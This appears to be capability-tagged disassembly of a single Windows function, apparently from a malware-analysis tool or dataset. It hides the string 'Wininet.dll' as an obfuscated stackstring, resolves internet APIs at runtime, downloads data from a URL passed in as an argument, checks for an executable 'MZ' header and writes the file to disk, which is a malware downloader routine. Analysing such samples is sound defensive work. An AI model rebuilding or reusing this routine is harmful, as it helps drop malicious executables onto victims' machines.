Function at 0x1000de4b
Capabilities:
Contain obfuscated stackstrings
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x474
push ebx
push esi
push edi
mov esi, 0x10001c28
lea edi, [ebp - 0x4c]
xor eax, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x42]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
and byte [ebp - 1], 0
push 0x10001c20
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x4c]
mov byte [ebp - 0xc], 0x57
push eax
mov byte [ebp - 0xb], 0x69
mov byte [ebp - 0xa], 0x6e
mov byte [ebp - 9], 0x69
mov byte [ebp - 8], 0x6e
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x74
mov byte [ebp - 5], 0x2e
mov byte [ebp - 4], 0x64
mov byte [ebp - 3], 0x6c
mov byte [ebp - 2], 0x6c
call ebx
mov esi, 0x10001c14
lea edi, [ebp - 0x74]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor eax, eax
lea edi, [ebp - 0x68]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x74]
push 0x10001c08
push eax
call ebx
mov esi, 0x10001bfc
lea edi, [ebp - 0x60]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
xor eax, eax
lea edi, [ebp - 0x55]
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x60]
push 0x10001bf4
push eax
call ebx
mov eax, dword [0x10001bec]
lea edi, [ebp - 0x30]
mov dword [ebp - 0x38], eax
mov eax, dword [0x10001bf0]
mov dword [ebp - 0x34], eax
xor eax, eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x38]
push 0x10001be4
push eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0xc]
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0xc]
push eax
call esi
push eax
call edi
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0xc]
push eax
call esi
push eax
call edi
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0xc]
push eax
call esi
push eax
call edi
push 1
xor esi, esi
pop ecx
mov dword [ebp - 0x14], esi
push esi
push esi
push esi
push esi
push 0x10001bb4
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], ecx
call eax
mov ebx, eax
cmp ebx, esi
je 0x1000df8e
push esi
push connect
push esi
push esi
push dword [ebp + 8]
push ebx
call dword [ebp - 0x10]
cmp eax, esi
mov dword [ebp - 0x10], eax
jne 0x1000df95
xor al, al
jmp 0x1000e029
push esi
push esi
push 2
push esi
push esi
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
je 0x1000e017
mov edi, 0x400
push edi
lea eax, [ebp - 0x474]
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x474]
push edi
push eax
push dword [ebp - 0x10]
call dword [ebp - 0x28]
cmp dword [ebp - 0x20], esi
je 0x1000dfe9
cmp word [ebp - 0x474], 0x5a4d
jne 0x1000e00b
lea eax, [ebp - 0x24]
push esi
push eax
lea eax, [ebp - 0x474]
push dword [ebp - 0x14]
mov dword [ebp - 0x20], esi
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 0x14], esi
jbe 0x1000e00e
jmp 0x1000dfb6
mov dword [ebp - 0x1c], esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x10]
call dword [ebp - 0x18]
push ebx
call dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x1c], esi
setne al
pop edi
pop esi
pop ebx
leave
ret